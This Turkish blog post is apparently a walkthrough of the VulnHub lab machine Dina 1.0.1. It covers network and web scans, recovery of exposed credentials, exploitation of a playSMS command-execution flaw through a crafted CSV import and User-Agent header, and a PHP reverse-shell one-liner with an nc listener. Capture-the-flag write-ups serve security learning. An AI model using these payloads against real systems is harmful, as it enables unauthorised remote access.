tag:blogger.com,1999:blog-67592628812800907192024-03-19T04:19:05.219-07:00Hakan Eren ŞanAnonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.comBlogger20125tag:blogger.com,1999:blog-6759262881280090719.post-13292764944248515952018-03-03T13:59:00.001-08:002018-03-03T14:03:22.430-08:00Dina 1.0.1 Writeup<div dir="ltr" id="docs-internal-guid-d728e910-ed9a-fbb5-f256-a77b664c48c0" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" id="docs-internal-guid-d728e910-ed9a-fbb5-f256-a77b664c48c0" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Dina 1.0.1 : </span><a href="https://www.vulnhub.com/entry/dina-101,200/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre;">https://www.vulnhub.com/entry/dina-101,200</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">/</span></div>
<br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Goal:</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> /root/flag.txt</span></div>
<br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Açıklamada yazıldığı üzere </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">root </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">dizini altındaki </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">flag.txt</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> dosyasına erişmemiz isteniyor.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">O zaman zafiyetli makinamızın ip adresini bulalım. </span><br />
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Bu işlem için </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">netdiscover</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> aracını kullanacağız.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> netdiscover -i eth0 -r 192.168.1.0/24
</code></pre>
<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> Currently scanning: Finished! | Screen View: Unique Hosts
7 Captured ARP Req/Rep packets, from 4 hosts. Total size: 420
___________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.41 00:0c:29:41:82:7d 2 120 VMware, Inc.
192.168.1.1 4c:9e:ff:xx:xx:xx 3 180 Zyxel Communications Corpora
</code></pre>
<br />
<div dir="ltr" id="docs-internal-guid-d728e910-ed9f-5219-04e1-82c0e403832c" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Hedef ip üzerinde bilgi edinmek, çalışan servislere göz atmak için nmap taraması yapalım.</span></div>
<div dir="ltr" id="docs-internal-guid-d728e910-ed9f-5219-04e1-82c0e403832c" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> nmap -sSV -n -v 192.168.1.41 --open
</code></pre>
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> Starting Nmap 7.40 ( https://nmap.org ) at 2018-03-03 23:47 +03
NSE: Loaded 40 scripts for scanning.
Initiating ARP Ping Scan at 23:47
Scanning 192.168.1.41 [1 port]
Completed ARP Ping Scan at 23:47, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 23:47
Scanning 192.168.1.41 [1000 ports]
Discovered open port 80/tcp on 192.168.1.41
Completed SYN Stealth Scan at 23:47, 0.10s elapsed (1000 total ports)
Initiating Service scan at 23:47
Scanning 1 service on 192.168.1.41
Completed Service scan at 23:47, 6.07s elapsed (1 service on 1 host)
NSE: Script scanning 192.168.1.41.
Initiating NSE at 23:47
Completed NSE at 23:47, 0.00s elapsed
Initiating NSE at 23:47
Completed NSE at 23:47, 0.00s elapsed
Nmap scan report for 192.168.1.41
Host is up (0.000089s latency).
Not shown: 999 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:41:82:7D (VMware)
</code></pre>
<br />
<span id="docs-internal-guid-d728e910-eda6-4bb3-cbeb-6f2700e33b1f" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">80. porttan yayın yaptığını görüyoruz. Tarayıcıdan girip göz atalım.</span><br />
<br />
<span id="docs-internal-guid-d728e910-eda6-8fe6-c2d3-d7a76acb365e" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="344" src="https://lh4.googleusercontent.com/Yt1UweTqDkZlSwfLfzI5KpIzim85eIAMo2XL5tu8MpZDZ7UfHm017Gzgm7HRUS0wq5fiWTAk5UUH7smiM5HO5W0lJZH1PD7NwoNi4dD3kOQ88Mfh55Kiw0maoy-czqiwPkDsW16f" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="602" /></span><br />
<br />
<span id="docs-internal-guid-d728e910-eda9-d03c-a23d-13f105a959bd" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Web uygulaması olduğu için</span><span id="docs-internal-guid-d728e910-eda9-d03c-a23d-13f105a959bd" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;"> Nikto</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> ile zafiyet taraması yapalım.</span><br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> nikto -h http://192.168.1.41/
</code></pre>
<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> - Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.41
+ Target Hostname: 192.168.1.41
+ Target Port: 80
+ Start Time: 2018-03-03 23:53:32 (GMT3)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 425463, size: 3618, mtime: Tue Oct 17 16:46:52 2017
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-3268: /ange1/: Directory indexing found.
+ Entry '/ange1/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /angel1/: Directory indexing found.
+ Entry '/angel1/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /tmp/: Directory indexing found.
+ Entry '/tmp/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /uploads/: Directory indexing found.
+ Entry '/uploads/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 5 entries which should be manually viewed.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /secure/: Directory indexing found.
+ OSVDB-3092: /tmp/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8351 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time: 2018-03-03 23:54:00 (GMT3) (28 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
</code></pre>
<br />
<br />
<div dir="ltr" id="docs-internal-guid-d728e910-edaa-da66-0936-54ec1a3d5313" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><b>Dirb</b> aracı ile de dizinlere bakalım.</span></div>
<div dir="ltr" id="docs-internal-guid-d728e910-edaa-da66-0936-54ec1a3d5313" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> dirb http://192.168.1.41/
</code></pre>
<br />
<span id="docs-internal-guid-d728e910-edac-15ff-90ba-a69be617330c" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Bulduğumuz dizinleri incelemeye robots.txt ile başlayalım.</span><br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> ---- Scanning URL: http://192.168.1.41/ ----
+ http://192.168.1.41/cgi-bin/ (CODE:403|SIZE:288)
+ http://192.168.1.41/index (CODE:200|SIZE:3618)
+ http://192.168.1.41/index.html (CODE:200|SIZE:3618)
+ http://192.168.1.41/robots (CODE:200|SIZE:102)
+ http://192.168.1.41/robots.txt (CODE:200|SIZE:102)
==> DIRECTORY: http://192.168.1.41/secure/
+ http://192.168.1.41/server-status (CODE:403|SIZE:293)
==> DIRECTORY: http://192.168.1.41/tmp/
==> DIRECTORY: http://192.168.1.41/uploads/
---- Entering directory: http://192.168.1.41/secure/ ----
</code></pre>
<br />
<span id="docs-internal-guid-d728e910-edac-8468-8c06-7d3378652067" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="344" src="https://lh5.googleusercontent.com/r35s4GTD9-uYvK1mqJODORzLp3YhexrJZBpjV1gfu5R82DpEgJ_SaMMItPkdc6GhTM6LWO3JiGliSdIP1xTLZF78mAoq_wZBYAWEtv3tkgdAAKBkqIP-DbMfLgLnAGgudQpas_6i" style="border: medium none; transform: rotate(0rad);" width="602" /></span><br />
<br />
<br />
<br />
<br />
<br />
<span id="docs-internal-guid-d728e910-edac-c947-a2da-ccb8c3873048" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">nothing dizinini incelediğimizde sayfanın kaynak kodunda işimize yarar bilgiler buluyoruz.</span><br />
<br />
<span id="docs-internal-guid-d728e910-edac-c947-a2da-ccb8c3873048" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edac-e1f9-2a38-e2e15904cf50" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="344" src="https://lh5.googleusercontent.com/TQEO25HpXQVWJuL3P8nsbKvy0D1HtKT1B_NwylNEm36DHdVs2zGWQFxqjeC3rWRE3ZWzLSyjt8382-8oC9UfCXhz4bvdwNRJXUZ3Es1-fmi3-Mie8so4H0lR9s9qJRxB-SBa-VMI" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="602" /></span> </span><br />
<br />
<br />
<span id="docs-internal-guid-d728e910-edad-29d8-70fb-3b40caa3724e" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Bu bilgileri bir yere not olarak bulduğumuz diğer dizinleri incelemeye devam edelim.</span><br />
<br />
<span id="docs-internal-guid-d728e910-edad-29d8-70fb-3b40caa3724e" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Dizinlere bakmaya secure ile devam ettiğimizde içinde </span><span id="docs-internal-guid-d728e910-edad-29d8-70fb-3b40caa3724e" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edae-179e-1d12-f7e70761a88b" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">secure backup.zip adlı dosyayı görüyoruz.</span> </span><br />
<br />
<span id="docs-internal-guid-d728e910-edad-29d8-70fb-3b40caa3724e" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edae-a951-1156-4bcc963fc9b1" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="344" src="https://lh5.googleusercontent.com/J9vWoLhxBXcp9gib5xw9nqGxukKGsX_8xXS_iUgnY4hkcS_YS-KuNQcRUCO2dWOOe1QVGFObOyhixXXGR8JORWKCizE-SFeYVlXj9lRHw0ZAgPR1tJd_ihlJdX7yant27icTdp1d" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="602" /></span> </span><br />
<br />
<span id="docs-internal-guid-d728e910-edaf-d67c-fb13-322b2bd63473" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Zipten çıkarmaya çalıştığımızda bizden parola istiyor.</span><br />
<span id="docs-internal-guid-d728e910-edaf-d67c-fb13-322b2bd63473" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> Az önce nothing dizininde bulduğumuz bilgileri deneyerek zipten çıkarıyoruz. <i><b>parola:freedom</b></i></span><br />
<br />
<span id="docs-internal-guid-d728e910-edb0-cc46-83b5-7f67357f090e" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Zipten backup-cred.mp3 adlı bir dosya çıkıyor. </span><br />
<span id="docs-internal-guid-d728e910-edb0-cc46-83b5-7f67357f090e" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">File komutu ile incelediğimizde bir text dosyası olduğunu görüyoruz. </span><br />
<span id="docs-internal-guid-d728e910-edb0-cc46-83b5-7f67357f090e" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">( Linux'da dosya uzantılarının bir önemi yok ) cat ile dosyamızı okuyalım.</span><br />
<br />
<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> I am not toooo smart in computer .......dat the resoan i always choose easy password...with creds backup file....
uname: touhid
password: ******
url : /SecreTSMSgatwayLogin
</code></pre>
<br />
<br />
<div dir="ltr" id="docs-internal-guid-d728e910-edc0-67a6-c4f8-fd9fb14b45b8" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Dosyayı okuduğumuzda bir dizin yoluna rastlıyoruz. </span><br />
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Giriş yapmaya çalıştığımızda username ve password istiyor. </span><br />
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">username olarak <b>touhid</b>, parola olarakta<b> nothing</b> dizinindeki elde ettiğimiz bilgileri deniyoruz. </span><br />
<br />
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">parola:<b>diana</b> olarak giriş yapıyoruz.</span></div>
<div dir="ltr" id="docs-internal-guid-d728e910-edc0-67a6-c4f8-fd9fb14b45b8" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" id="docs-internal-guid-d728e910-edc0-67a6-c4f8-fd9fb14b45b8" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">playSMS adlı bir web uygulaması ile karşılaşıyoruz.</span><br />
<br />
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> Araştırmalarımız sonucunda komut çalıştırma zafiyetinin bulunduğunu görüyoruz. </span></div>
<br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">https://www.exploit-db.com/exploits/42044/</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Karşımıza çıkan panelde My Account sekmesinin altında Phonebook üzerinden dosya upload işlemi gerçekleştiriyoruz. </span></div>
<br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">import.php dosyasında .csv uzantılı dosyaya payload’ı yazıp upload ediyoruz. Ardından user agent değerini çalıştıracağımız kod ile değiştiriyoruz. </span><br />
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">( Firefox üzerinde User-Agent switcher extensiondan yardım alarak yaptık )</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Buraya atılan dosyanın formatı aşağıdaki gibi. Bu kısmın anlaşılması için yukardaki exploit-db linkinden detaylıca bakılması gerekiyor. </span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edc6-88e1-c924-47c59b3299c4" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="169" src="https://lh4.googleusercontent.com/BJ1h4uHWayrJxPGBsif6wqJG6_vQysrxKXe6fS5bIjDze5becxIoXRKP1zAAJlmTMrF5lpskUthTIUGfNqsvTxTMcDsfblAE_iSy42eG8uNTvNGf74Anjqmd34nVeQfJmVqVip_E" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="602" /></span> </span></div>
<br />
<br />
<span id="docs-internal-guid-d728e910-edc6-a1fb-4532-5dd3569c70c7" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="344" src="https://lh3.googleusercontent.com/xUl-2mVxH-4sP0ULgwtxEbG0xhHt05ggVgGcLtU-q9norQBgAKPhw9lKZuQq4poPraQeXf19teXL2e1C3RFB1QmG4zMlqNcv2rC_lhZjCbHL0iQZ5lp___ABSLA0p3ACr-Fr-Psz" style="border: medium none; transform: rotate(0rad);" width="602" /> </span><br />
<br />
<span id="docs-internal-guid-d728e910-edc6-a1fb-4532-5dd3569c70c7" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edc8-3fea-ad91-bbd8df875a91" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">User agent kısmını “uname -a” komutu ile değiştiriyoruz. </span></span><br />
<span id="docs-internal-guid-d728e910-edc6-a1fb-4532-5dd3569c70c7" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edc8-3fea-ad91-bbd8df875a91" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Değişikliğin ardından test.csv dosyasını import ettiğimizde kod çalışıyor olacak.</span></span><br />
<br />
<br />
<span id="docs-internal-guid-d728e910-edc6-a1fb-4532-5dd3569c70c7" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edc8-3fea-ad91-bbd8df875a91" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><span id="docs-internal-guid-d728e910-edc8-e2e8-7334-dd0f714363d9" style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><img height="344" src="https://lh3.googleusercontent.com/TvaqCVEhnCxaFriQ_re0MShV23FlITsMFf-MaF3E_ygbzeiJCVgwtPdFtI3mA2XBlLVjP80EkLo1Le3WQVT7JT8zUY8L7unyr9cqs3YGmRn1nqoK5athhkRTmttnnqiXvQU3jEdV" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="602" /></span> </span></span><br />
<br />
<br />
<br />
<div dir="ltr" id="docs-internal-guid-d728e910-edd8-5283-871d-1f7540708c3a" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Komutun çalıştığını görüyoruz. Şimdi yapamamız gerek reverse bağlantı yapıp oturum elde etmek. </span><br />
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Bunun için alltaki payloadı kullanıyoruz.</span></div>
<br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">php -r '$sock=fsockopen("192.168.1.41",4444);exec("/bin/sh -i <&3 >&3 2>&3");'v</span></div>
<br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Bu komut ile 192.168.1.41 adresinin 4444. portuna bağlan, /bin/sh üzerinden bağlantı alabiliyoruz.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Kendi cihazımızda ise dinleme duruma geçmemiz gerekiyor.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">nc -lvp 4444 komutu ile 4444. porta gelen bağlanma isteklerini dinliyoruz.</span></div>
<br />
<br />
